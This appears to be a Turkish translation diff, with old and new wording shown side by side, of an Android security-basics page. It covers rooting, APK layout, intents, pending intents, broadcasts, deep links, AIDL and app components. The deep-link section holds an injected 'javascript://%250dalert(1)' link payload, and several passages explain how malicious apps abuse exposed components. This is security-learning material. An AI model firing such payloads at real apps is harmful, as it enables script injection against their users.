Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinlerinde bulunur ve bazıları **optimize edilmiştir** (bazen `classes.dex` dosyasını bile bulamayabilirsiniz). Bu uygulamalar kontrol edilmeye değerdir çünkü bazen **çok fazla izinle çalışırlar** (kök olarak). Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinlerinde bulunur ve bazıları **optimize edilmiştir** (bazen `classes.dex` dosyasını bile bulamayabilirsiniz). Bu uygulamalar, bazen **kök olarak çalıştıkları için çok fazla izinle çalıştıklarından** kontrol edilmeye değerdir.
* **AOSP** (Android Açık Kaynak Projesi) **ROM** ile birlikte gönderilenler * **AOSP** (Android Açık Kaynak Projesi) **ROM** ile birlikte gönderilenler
* Cihaz **üreticisi** tarafından eklenenler * Cihaz **üreticisi** tarafından eklenenler
* Cep telefonu sağlayıcısı tarafından eklenenler (onlardan satın alındıysa) * Cep **telefonu sağlayıcısı** tarafından eklenenler (onlardan satın alındıysa)
## Rootlama ## Rootlama
Fiziksel bir Android cihaza kök erişim elde etmek için genellikle cihaza ve sürüme **özgü** olan 1 veya 2 **zafiyeti sömürmeniz gerekir**.\ Fiziksel bir Android cihaza kök erişim elde etmek için genellikle cihaza ve sürüme **özgü** olan 1 veya 2 **zafiyeti sömürmeniz gerekir**.\
Sömürü çalıştığında genellikle Linux `su` ikili dosyası, kullanıcının PATH çevresel değişkeninde belirtilen bir konuma kopyalanır, örneğin `/system/xbin`. Sömürü çalıştığında genellikle Linux `su` ikili dosyası, kullanıcının PATH çevresel değişkeninde belirtilen bir konuma (`/system/xbin` gibi) kopyalanır.
`su` ikili dosyası yapılandırıldığında, başka bir Android uygulaması `su` ikili dosyasıyla etkileşim kurmak ve **kök erişimi taleplerini işlemek için** kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play Store'da mevcuttur). `su` ikili dosyası yapılandırıldığında, başka bir Android uygulaması `su` ikili dosyasıyla etkileşim kurmak ve **kök erişimi taleplerini işlemek** için kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play Store'da mevcuttur).
{% hint style="danger" %} {% hint style="danger" %}
Rootlama işlemi çok tehlikelidir ve cihaza ciddi zarar verebilir Rootlama işlemi çok tehlikelidir ve cihaza ciddi zarar verebilir
@ -83,24 +83,24 @@ Rootlama işlemi çok tehlikelidir ve cihaza ciddi zarar verebilir
**Özel bir yazılım yükleyerek işletim sistemini değiştirmek mümkündür**. Bunu yaparak eski bir cihazın kullanışlılığını artırabilir, yazılım kısıtlamalarını atlayabilir veya en son Android koduna erişim sağlayabilirsiniz.\ **Özel bir yazılım yükleyerek işletim sistemini değiştirmek mümkündür**. Bunu yaparak eski bir cihazın kullanışlılığını artırabilir, yazılım kısıtlamalarını atlayabilir veya en son Android koduna erişim sağlayabilirsiniz.\
**OmniROM** ve **LineageOS**, kullanılan en popüler yazılımlardan ikisidir. **OmniROM** ve **LineageOS**, kullanılan en popüler yazılımlardan ikisidir.
Cihazın **özelleştirilmiş bir yazılım yüklemek için kök erişim gerekli olmadığına** dikkat edin. **Bazı üreticiler**, bootloader'larının belgeli ve güvenli bir şekilde kilidini açmalarına izin verir. Cihazın **rootlanması her zaman gerekli olmayabilir**. **Bazı üreticiler**, bootloader'larının belgeli ve güvenli bir şekilde kilidini açılmasına izin verir.
### Sonuçlar ### Etkiler
Bir cihaz köklendiğinde, herhangi bir uygulama kök erişimini isteyebilir. Kötü niyetli bir uygulama bunu alırsa, neredeyse her şeye erişimi olacak ve telefona zarar verebilecektir. Bir cihaz rootlandığında, herhangi bir uygulama kök erişimini isteyebilir. Kötü niyetli bir uygulama bunu alırsa, neredeyse her şeye erişimi olacak ve telefona zarar verebilecektir.
## Android Uygulama Temelleri <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a> ## Android Uygulama Temelleri <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- Android uygulamalarının formatı _APK dosya formatı_ olarak adlandırılır. Temelde bir **ZIP dosyasıdır** (dosya uzantısını .zip olarak değiştirerek içerik çıkarılabilir ve görüntülenebilir). - Android uygulamalarının formatı _APK dosya formatı_ olarak adlandırılır. Temelde bir **ZIP dosyasıdır** (dosya uzantısını .zip olarak değiştirerek içeriği çıkarılabilir ve görüntülenebilir).
- APK İçeriği (Eksiksiz Değil) - APK İçeriği (Eksiksiz Değil)
- **AndroidManifest.xml** - **AndroidManifest.xml**
- resources.arsc/strings.xml - resources.arsc/strings.xml
- resources.arsc: derlenmiş kaynakları, ikili XML gibi içeren. - resources.arsc: derlenmiş kaynakları, ikili XML gibi içeren.
- res/xml/files\_paths.xml - res/xml/files\_paths.xml
- META-INF/ - META-INF/
- Burada Sertifika bulunur! - Sertifikanın bulunduğu yer burasıdır!
- **classes.dex** - **classes.dex**
- Uygulamanın varsayılan olarak yürüttüğü derlenmiş Java (veya Kotlin) kodunu temsil eden Dalvik bytecode içerir. - Varsayılan olarak uygulamanın yürüttüğü derlenmiş Java (veya Kotlin) kodunu temsil eden Dalvik bytecode içerir.
- lib/ - lib/
- CPU mimarisine göre alt dizinlerde ayrılmış yerel kütüphaneleri barındırır. - CPU mimarisine göre alt dizinlerde ayrılmış yerel kütüphaneleri barındırır.
- `armeabi`: ARM tabanlı işlemciler için kod - `armeabi`: ARM tabanlı işlemciler için kod
@ -108,37 +108,37 @@ Bir cihaz köklendiğinde, herhangi bir uygulama kök erişimini isteyebilir. K
- `x86`: X86 işlemciler için kod - `x86`: X86 işlemciler için kod
- `mips`: Yalnızca MIPS işlemciler için kod - `mips`: Yalnızca MIPS işlemciler için kod
- assets/ - assets/
- Uygulama tarafından gereken çeşitli dosyaları saklar, ek kodu gizlemek için bazen kötü niyetli yazarlar tarafından kullanılan ek yerel kütüpheler veya DEX dosyalarını içerebilir. - Uygulama tarafından gereken çeşitli dosyaları saklar, ek kodları gizlemek için bazen kötü niyetli yazarlar tarafından kullanılan ek native kütüpheler veya DEX dosyalarını içerebilir.
- res/ - res/
- Derlenmiş olmayan kaynakları içerir. - resources.arsc'ye derlenmeyen kaynakları içerir
### **Dalvik ve Smali** ### **Dalvik ve Smali**
Android geliştirmede **Java veya Kotlin** uygulamalar oluşturmak için kullanılır. Masaüstü uygulamalarında JVM kullanmak yerine Android bu kodu **Dalvik Yürütülebilir (DEX) bytecode**'a derler. Önceden, Dalvik sanal makinesi bu bytecode'u işlerken, şimdi daha yeni Android sürümlerinde Android Runtime (ART) devralır. Android geliştirmede **Java veya Kotlin** uygulamalar oluşturmak için kullanılır. Masaüstü uygulamalarında JVM kullanılmak yerine Android bu kodu **Dalvik Yürütülebilir (DEX) bytecode**'a derler. Önceden, Dalvik sanal makinesi bu bytecode'u işlerken, şimdi, Android Runtime (ART) daha yeni Android sürümlerinde devralır.
Tersine mühendislik için **Smali** hayati hale gelir. Bu, DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve montajdan çıkarma araçlarını ifade eder. Tersine mühendislik için, **Smali** hayati öneme sahiptir. Bu, DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve montajdan çıkarma araçlarını ifade eder.
## İntentler ## İntentler
İntentler, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmanın temel yollarıdır. Bu mesaj nesneleri aynı zamanda veri taşıyabilir ve uygulamalar veya bileşenler arasında GET/POST isteklerinin HTTP iletişiminde nasıl kullanıldığına benzer şekilde veri taşıyabilir. İntentler, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmanın temel yoludur. Bu mesaj nesneleri aynı zamanda uygulamalar veya bileşenler arasında veri taşıyabilir, HTTP iletişiminde kullanılan GET/POST istekleri gibi.
Yani bir İntent temelde **bileşenler arasında iletilen bir mesajdır**. İntentler **belirli bileşenlere veya uygulamalara yönlendirilebilir** veya **belirli bir alıcı olmadan gönderilebilir**.\ Yani bir İntent temelde **bileşenler arasında iletilen bir mesajdır**. İntentler **belirli bileşenlere veya uygulamalara yönlendirilebilir**, **veya belirli bir alıcı olmadan gönderilebilir**.\
Basitçe İntent şunlar için kullanılabilir: Basitçe İntent şunlar için kullanılabilir:
* Bir Etkinliği başlatmak için, genellikle bir uygulama için bir kullanıcı arayüzü açma * Bir Etkinliği başlatmak, genellikle bir uygulama için bir kullanıcı arayüzü açma
* Değişiklikleri sistem ve uygulamalara bildirmek için yayınlar olarak * Sistem ve uygulamaları değişiklikler hakkında bilgilendirmek için yayınlar
* Arkaplan hizmetini başlatmak, durdurmak ve iletişim kurmak için * Arkaplan hizmetini başlatmak, durdurmak ve iletişim kurmak
* ContentProvider'lar aracılığıyla veriye erişmek için * ContentProvider aracılığıyla veriye erişmek
* Olayları işlemek için geri çağrılar olarak * Olayları işlemek için geri çağrılar olarak kullanmak
Eğer zayıfsa, **İntentler çeşitli saldırıları gerçekleştirmek için kullanılabilir**. Eğer zayıfsa, **İntentler çeşitli saldırıları gerçekleştirmek için kullanılabilir**.
### İntent-Filtre ### İntent-Filtre
**İntent Filtreleri**, bir etkinlik, hizmet veya Yayın Alıcısının farklı türdeki İntent'lerle nasıl etkileşime geçebileceğini tanımlar. Temelde, bu bileşenlerin ne tür eylemler gerçekleştirebileceğini veya hangi yayınları işleyebileceğini açıklarlar. Bu filtreleri tanımlamanın temel yeri **AndroidManifest.xml dosyası** içindedir, ancak Yayın Alıcıları için bunları kodlamak da bir seçenektir. **İntent Filtreleri**, **bir etkinlik, hizmet veya Yayın Alıcısının farklı türdeki İntent'lerle nasıl etkileşime geçebileceğini tanımlar**. Temelde, bu bileşenlerin ne tür eylemler gerçekleştirebileceğini veya hangi yayınları işleyebileceğini açıklarlar. Bu filtreleri tanımlamanın temel yeri **AndroidManifest.xml dosyası** olmasına rağmen, Yayın Alıcıları için bunları kodlamak da bir seçenektir.
İntent Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verileri içerebilme olasılığı vardır. Bu yapı, belirtilen kriterleri karşılayan belirli İntent'leri işlemek için bileşenlere izin verir. İntent Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verileri içerebilme olasılığı vardır. Bu yapı, belirtilen kriterleri karşılayan belirli İntent'leri işlemek için bileşenlere izin verir.
Android bileşenlerinin (etkinlikler/hizmetler/içerik sağlayıcılar/yayın alıcıları) kritik bir yönü, **genel görünürlük veya** **`exported`** değerinin **`true`** olarak ayarlanması durumunda diğer uygulamalarla etkileşime girebilmesidir veya manifestte için bir İntent Filtresi belirtilmişse. Bununla birlikte, geliştiricilerin bu bileşenleri yanlışlıkla diğer uygulamalarla etkileşime girmesini engellemek için bu bileşenleri açıkça özel tutma seçeneği vardır. Bu, manifest tanımlamalarında **`exported`** özniteliğini **`false`** olarak ayarlayarak sağlanır. Android bileşenlerinin (etkinlikler/hizmetler/içerik sağlayıcılar/yayın alıcıları) kritik bir yönü, **genel görünürlük veya** **`exported`** değerinin **`true`** olması veya manifestte bunun için bir İntent Filtresi belirtilmiş olması durumunda diğer uygulamalarla etkileşime girebilmesidir. Bununla birlikte, geliştiricilerin bu bileşenleri yanlışlıkla diğer uygulamalarla etkileşime girmesini engellemek için bu bileşenleri açıkça özel tutma seçeneği vardır. Bu, manifest tanımlamalarında **`exported`** özniteliğini **`false`** olarak ayarlayarak sağlanır.
Ayrıca, geliştiriciler bu bileşenlere erişimi daha da güvenli hale getirmek için belirli izinleri gerektirebilir. **`izin`** özniteliği, yalnızca belirli izne sahip uygulamaların bileşene erişebilmesini zorlamak için ayarlanabilir, böylece kiminle etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı eklenir. Ayrıca, geliştiriciler bu bileşenlere erişimi daha da güvenli hale getirmek için belirli izinleri gerektirebilir. **`izin`** özniteliği, yalnızca belirli izne sahip uygulamaların bileşene erişebilmesini zorlamak için ayarlanabilir, böylece kiminle etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı eklenir.
```java ```java
@ -152,7 +152,7 @@ Intentler, bir Intent yapıcısı kullanılarak programatik olarak oluşturulur:
```java ```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
``` ```
**Eylem** önceden belirtilen niyetin **ACTION\_SEND** ve **Ekstra** bir mailto **Uri**'dir (Ekstra, niyetin beklediği ekstra bilgidir). **Eylem** olarak önceden belirtilen niyetin **ACTION\_SEND** olduğu ve **Ekstra**'nın bir mailto **Uri** olduğu (Ekstra, niyetin beklediği ek bilgidir).
Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde belirtilmelidir: Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde belirtilmelidir:
```xml ```xml
@ -163,9 +163,9 @@ Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde belir
</intent-filter> </intent-filter>
</activity> </activity>
``` ```
Bir intent-filtresinin bir mesajı alabilmesi için **action**, **data** ve **category**'nin eşleşmesi gerekir. Bir intent-filter, bir mesajı almak için **action**, **data** ve **category**'nin eşleşmesi gerekmektedir.
"Intent çözümleme" süreci, her mesajın hangi uygulamanın alması gerektiğini belirler. Bu süreç, **öncelik özniteliğini** dikkate alır, bu öncelik, **intent-filtresi bildiriminde** ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Bir **çakışma** ortaya çıkarsa, "seçici" Penceresi görünür, böylece **kullanıcı karar verebilir**. "Intent çözümleme" süreci, her mesajın hangi uygulamanın alması gerektiğini belirler. Bu süreç, **öncelik özniteliğini** dikkate alır, bu özellik i**ntent-filter bildirimi**nde ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Bir **çakışma** ortaya çıkarsa, bir "seçici" Penceresi görünür, böylece **kullanıcı karar verebilir**.
### Açık İntentler ### Açık İntentler
@ -173,7 +173,7 @@ Açık bir intent, hedeflediği sınıf adını belirtir:
```java ```java
Intent downloadIntent = new (this, DownloadService.class): Intent downloadIntent = new (this, DownloadService.class):
``` ```
Diğer uygulamalarda önceden belirtilen amaçlara erişmek için şunu kullanabilirsiniz: Diğer uygulamalarda önceden belirtilen intent'e erişmek için şunu kullanabilirsiniz:
```java ```java
Intent intent = new Intent(); Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName"); intent.setClassName("com.other.app", "com.other.app.ServiceName");
@ -181,7 +181,7 @@ context.startService(intent);
``` ```
### Bekleyen İzinler ### Bekleyen İzinler
Bu, diğer uygulamaların **uygulamanız adına hareketlerde bulunmasına izin verir**, uygulamanızın kimliğini ve izinlerini kullanarak. Bekleyen İzin oluşturulurken bir niyet ve gerçekleştirilecek eylem **belirtilmelidir**. Eğer **belirtilen niyet açık değilse** (hangi niyetin onu çağırabileceğini belirtmez) **kötü niyetli bir uygulama belirtilen eylemi** kurban uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama kurban adına **herhangi bir eylem yapabilir**. Bu, diğer uygulamaların **uygulamanız adına hareketlerde bulunmasına izin verir**, uygulamanızın kimliğini ve izinlerini kullanarak. Bekleyen bir İzin oluştururken bir niyet ve gerçekleştirilecek eylem **belirtilmelidir**. Eğer **belirtilen niyet Açık değilse** (hangi niyetin onu çağırabileceğini belirtmez) **kötü niyetli bir uygulama belirtilen eylemi** kurban uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama **kurban adına herhangi bir eylemi gerçekleştirebilir**.
### Yayın İzinleri ### Yayın İzinleri
@ -189,10 +189,10 @@ Bu, diğer uygulamaların **uygulamanız adına hareketlerde bulunmasına izin v
Alternatif olarak, yayın gönderirken **bir izin belirtmek de mümkündür**. Alıcı uygulamanın o izne sahip olması gerekecektir. Alternatif olarak, yayın gönderirken **bir izin belirtmek de mümkündür**. Alıcı uygulamanın o izne sahip olması gerekecektir.
İki tür Yayın vardır: **Normal** (asykron) ve **Sıralı** (senkron). **Sıralama**, **alıcı içinde yapılandırılmış önceliğe** göre belirlenir. **Her uygulama Yayını işleyebilir, iletebilir veya bırakabilir**. İki tür Yayın vardır: **Normal** (asykron) ve **Sıralı** (senkron). **Sıralama**, alıcı içindeki yapılandırılmış önceliğe göre belirlenir. **Her uygulama Yayını işleyebilir, iletebilir veya bırakabilir**.
`Context` sınıfından `sendBroadcast(intent, receiverPermission)` işlevini kullanarak bir yayın göndermek mümkündür.\ Bir yayın göndermek için `Context` sınıfından `sendBroadcast(intent, receiverPermission)` işlevini kullanabilirsiniz.\
Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** işlevini kullanarak **mesajın uygulamadan çıkmamasını** sağlayabilirsiniz. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz. Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** işlevini kullanarak **mesajın uygulamayı terk etmemesini sağlayabilirsiniz**. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz.
### Kalıcı Yayınlar ### Kalıcı Yayınlar
@ -200,13 +200,13 @@ Bu tür Yayınlar **gönderildikten uzun süre sonra erişilebilir**.\
Bu, API seviyesi 21'de kullanımdan kaldırıldı ve **kullanılmaması önerilir**.\ Bu, API seviyesi 21'de kullanımdan kaldırıldı ve **kullanılmaması önerilir**.\
**Herhangi bir uygulamanın verileri izlemesine ve değiştirmesine izin verirler**. **Herhangi bir uygulamanın verileri izlemesine ve değiştirmesine izin verirler**.
Eğer **"sticky"** kelimesini içeren işlevler bulursanız, örneğin **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`**, **etkisini kontrol edin ve bunları kaldırmayı deneyin**. Eğer **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`** gibi "sticky" kelimesini içeren işlevler bulursanız, **etkisini kontrol edin ve bunları kaldırmayı deneyin**.
## Derin Bağlantılar / URL şemaları ## Derin Bağlantılar / URL şemaları
Android uygulamalarında, **derin bağlantılar** bir URL aracılığıyla doğrudan bir eylemi (Niyet) başlatmak için kullanılır. Bu, bir etkinlik içinde belirli bir **URL şemasının** bildirilmesiyle yapılır. Bir Android cihazı, bu şemayla bir URL'ye **erişmeye çalıştığında**, uygulama içinde belirtilen etkinlik başlatılır. Android uygulamalarında, **derin bağlantılar** bir URL aracılığıyla doğrudan bir eylemi (Niyet) başlatmak için kullanılır. Bu, bir etkinlik içinde belirli bir **URL şemasının** bildirilmesiyle yapılır. Bir Android cihazı, bu şemayla bir URL'ye **erişmeye çalıştığında**, uygulama içinde belirtilen etkinlik başlatılır.
Şema, **`AndroidManifest.xml`** dosyasında belirtilmelidir: Şema, **`AndroidManifest.xml`** dosyasında bildirilmelidir:
```xml ```xml
[...] [...]
<activity android:name=".MyActivity"> <activity android:name=".MyActivity">
@ -218,9 +218,9 @@ Android uygulamalarında, **derin bağlantılar** bir URL aracılığıyla doğr
</intent-filter> </intent-filter>
[...] [...]
``` ```
Önceki örneğin şeması `exampleapp://` (ayrıca **`category BROWSABLE`**'ı da not edin) Önceki örnekteki şema `exampleapp://` (ayrıca **`category BROWSABLE`**'ı da not edin)
Ardından, veri alanında **host** ve **path**'i belirtebilirsiniz: Ardından, veri alanında **ana bilgisayar (host)** ve **yol (path)** belirtebilirsiniz:
```xml ```xml
<data android:scheme="examplescheme" <data android:scheme="examplescheme"
android:host="example" android:host="example"
@ -231,31 +231,31 @@ Web'den erişmek için bir bağlantı belirlemek mümkündür:
<a href="examplescheme://example/something">click here</a> <a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a> <a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
``` ```
**Uygulamada yürütülecek kodu bulmak** için deeplink tarafından çağrılan etkinliğe gidin ve **`onNewIntent`** işlevini arayın. **Uygulamada yürütülecek kodu** bulmak için deeplink tarafından çağrılan aktiviteye gidin ve **`onNewIntent`** işlevini arayın.
Derin bağlantıları **HTML sayfaları kullanmadan** nasıl [çağıracağınızı öğrenin](./#exploiting-schemes-deep-links). [HTML sayfaları kullanmadan derin bağlantıları nasıl çağıracağınızı](./#exploiting-schemes-deep-links) öğrenin.
## AIDL - Android Arayüz Tanım Dili ## AIDL - Android Arayüz Tanım Dili
**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında istemci ve hizmet arasındaki iletişimi kolaylaştırmak amacıyla tasarlanmıştır, **işlem arası iletişim** (IPC) yoluyla. Android'de başka bir işlemin belleğine doğrudan erişim izin verilmediğinden, AIDL işlemi basitleştirerek nesneleri işletim sistemi tarafından anlaşılan bir formata dönüştürerek farklı işlemler arasında iletişimi kolaylaştırır. **Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında istemci ve hizmet arasındaki iletişimi kolaylaştırmak amacıyla tasarlanmıştır ve **işlem arası iletişim** (IPC) yoluyla gerçekleştirilir. Android'de başka bir işlemin belleğine doğrudan erişim izin verilmediğinden, AIDL işlemi basitleştirir ve nesneleri işletim sistemi tarafından anlaşılabilen bir formata dönüştürerek farklı işlemler arasındaki iletişimi kolaylaştırır.
### Temel Kavramlar ### Temel Kavramlar
- **Bağlı Hizmetler**: Bu hizmetler, IPC için AIDL'yi kullanır, etkinliklerin veya bileşenlerin bir hizmete bağlanmasını, isteklerde bulunmasını ve yanıtlar almasını sağlar. Hizmetin sınıfındaki `onBind` yöntemi etkileşimi başlatmak için kritiktir ve güvenlik açıklarını aramak için önemli bir alan olarak işaretlenmiştir. - **Bağlı Hizmetler**: Bu hizmetler, IPC için AIDL'yi kullanır ve aktivitelerin veya bileşenlerin bir hizmete bağlanmasını, isteklerde bulunmasını ve yanıtlar almasını sağlar. Hizmetin sınıfındaki `onBind` yöntemi etkileşimi başlatmak için kritiktir ve güvenlik açıkları aramak için önemli bir alanı işaretler.
- **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, verilerin işlenmesine odaklanarak IPC'yi kolaylaştırır. Bu yöntemi güvenli olmayan veri işleme veya hassas işlevlerin yürütülmesi açısından yakından incelemek önemlidir. - **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, verilerin işlenmesine odaklanarak IPC'yi kolaylaştırır. Bu yöntemi güvenli olmayan veri işleme veya hassas işlevlerin yürütülmesi açısından yakından incelemek önemlidir.
- **Binder**: AIDL'nin soyutlaması nedeniyle Binder sınıfının doğrudan kullanımı daha az yaygın olsa da, Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek seviye sürücü olarak hareket ettiğini anlamak faydalıdır. Daha fazla anlayış için bir kaynak [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresinde bulunmaktadır. - **Binder**: AIDL'nin soyutlaması nedeniyle Binder sınıfının doğrudan kullanımı daha az yaygındır, ancak Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek seviye sürücü olarak hareket ettiğini anlamak faydalıdır. Daha fazla anlayış için bir kaynak [burada](https://www.youtube.com/watch?v=O-UHvFjxwZ8) bulunmaktadır.
## Bileşenler ## Bileşenler
Bunlar şunları içerir: **Etkinlikler, Hizmetler, Yayın Alıcılar ve Sağlayıcılar.** Bunlar şunları içerir: **Aktiviteler, Hizmetler, Yayın Alıcıları ve Sağlayıcılar.**
### Başlatıcı Etkinlik ve diğer etkinlikler ### Başlatıcı Aktivite ve diğer aktiviteler
Android uygulamalarında **etkinlikler**, uygulamanın kullanıcı arayüzünün farklı bölümlerini gösteren ekranlar gibidir. Bir uygulamada birçok etkinlik olabilir, her biri kullanıcıya benzersiz bir ekran sunar. Android uygulamalarında **aktiviteler**, uygulamanın kullanıcı arayüzünün farklı bölümlerini gösteren ekranlar gibidir. Bir uygulamada birçok aktivite olabilir, her biri kullanıcıya benzersiz bir ekran sunar.
**Başlatıcı etkinlik**, uygulamanın ana giriş kapısıdır ve uygulamanın simgesine dokunduğunuzda başlatılır. Uygulamanın belirli MAIN ve LAUNCHER niyetleriyle uygulamanın manifest dosyasında tanımlanmıştır: **Başlatıcı aktivite**, uygulamanın ana giriş kapısıdır ve uygulamanın simgesine dokunduğunuzda başlatılır. Belirli MAIN ve LAUNCHER niyetleriyle uygulamanın manifest dosyasında tanımlanmıştır:
```markup ```markup
<activity android:name=".LauncherActivity"> <activity android:name=".LauncherActivity">
<intent-filter> <intent-filter>
@ -268,17 +268,17 @@ Android uygulamalarında **etkinlikler**, uygulamanın kullanıcı arayüzünün
Launcher etkinliğine ihtiyaç duymayan uygulamalar, özellikle arka plan hizmetleri gibi kullanıcı arayüzü olmayanlar, bulunabilir. Launcher etkinliğine ihtiyaç duymayan uygulamalar, özellikle arka plan hizmetleri gibi kullanıcı arayüzü olmayanlar, bulunabilir.
Etkinlikler, manifest dosyasında "ihracat" olarak işaretlenerek diğer uygulamalara veya işlemlere erişilebilir hale getirilebilir. Bu ayar, diğer uygulamaların bu etkinliği başlatmasına izin verir: Etkinlikler, manifest dosyasında "ihracat" olarak işaretlenerek diğer uygulamalar veya işlemler için erişilebilir hale getirilebilir. Bu ayar, diğer uygulamaların bu etkinliği başlatmasına izin verir:
```markdown ```markdown
<service android:name=".ExampleExportedService" android:exported="true"/> <service android:name=".ExampleExportedService" android:exported="true"/>
``` ```
Ancak, bir uygulamadan diğer bir uygulamaya erişmek her zaman bir güvenlik riski oluşturmaz. Endişe, hassas verilerin yanlış şekilde paylaşılması durumunda ortaya çıkar, bu da bilgi sızıntılarına yol açabilir. Ancak, bir uygulamadan diğer bir uygulamaya bir etkinliğe erişmek her zaman bir güvenlik riski oluşturmaz. Endişe, hassas verilerin yanlış şekilde paylaşılması durumunda ortaya çıkar, bu da bilgi sızıntısına yol açabilir.
Bir aktivitenin yaşam döngüsü **onCreate yöntemiyle başlar**, UI'yi kurar ve aktiviteyi kullanıcıyla etkileşime hazırlar. Bir etkinliğin yaşam döngüsü **onCreate yöntemiyle başlar**, UI'yi kurar ve etkinliği kullanıcıyla etkileşime hazırlar.
### Uygulama Alt Sınıfı ### Uygulama Alt Sınıfı
Android geliştirmede, bir uygulamanın [Application](https://developer.android.com/reference/android/app/Application) sınıfının bir **alt sınıfını** oluşturma seçeneği vardır, ancak zorunlu değildir. Bu tür bir alt sınıf tanımlandığında, uygulama içinde ilk olarak örneklenen sınıf olur. Bu alt sınıfta uygulandıysa **`attachBaseContext`** yöntemi, **`onCreate`** yönteminden önce yürütülür. Bu kurulum, uygulamanın geri kalanının başlamasından önce erken başlatma olanağı sağlar. Android geliştirmede, bir uygulamanın [Application](https://developer.android.com/reference/android/app/Application) sınıfının bir **alt sınıfını** oluşturma seçeneği vardır, ancak zorunlu değildir. Böyle bir alt sınıf tanımlandığında, uygulama içinde ilk olarak örneklenen sınıf haline gelir. Bu alt sınıfta **`attachBaseContext`** yöntemi uygulandıysa, **`onCreate`** yönteminden önce yürütülür. Bu kurulum, uygulamanın geri kalanının başlamasından önce erken başlatma olanağı sağlar.
```java ```java
public class MyApp extends Application { public class MyApp extends Application {
@Override @Override
@ -296,11 +296,11 @@ super.onCreate();
``` ```
### Hizmetler ### Hizmetler
[Hizmetler](https://developer.android.com/guide/components/services), kullanıcı arayüzü olmadan görevleri yürütebilen **arka plan işlemcileri**dir. Bu görevler, kullanıcılar farklı uygulamalara geçtiklerinde bile çalışmaya devam edebilir, bu nedenle hizmetler **uzun süre çalışan işlemler** için hayati öneme sahiptir. [Hizmetler](https://developer.android.com/guide/components/services), kullanıcı arayüzü olmadan görevleri yürütebilen **arka plan işlemcileri**dir. Bu görevler, kullanıcıların farklı uygulamalara geçiş yapmaları durumunda bile devam edebilir, bu nedenle hizmetler **uzun süre çalışan işlemler** için hayati öneme sahiptir.
Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler ve bunları başlatmanın temel yolu **Intent'ler**dir, uygulamanın giriş noktası olarak. Bir hizmet, `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri iletimi için `onBind` yöntemi devreye girer. Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler ve bunları başlatmanın temel yolu **Intent'ler**dir, uygulamanın giriş noktası olarak bunları başlatmak için kullanılır. Bir hizmet, `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır, veri iletimi için `onBind` yöntemi devreye girer.
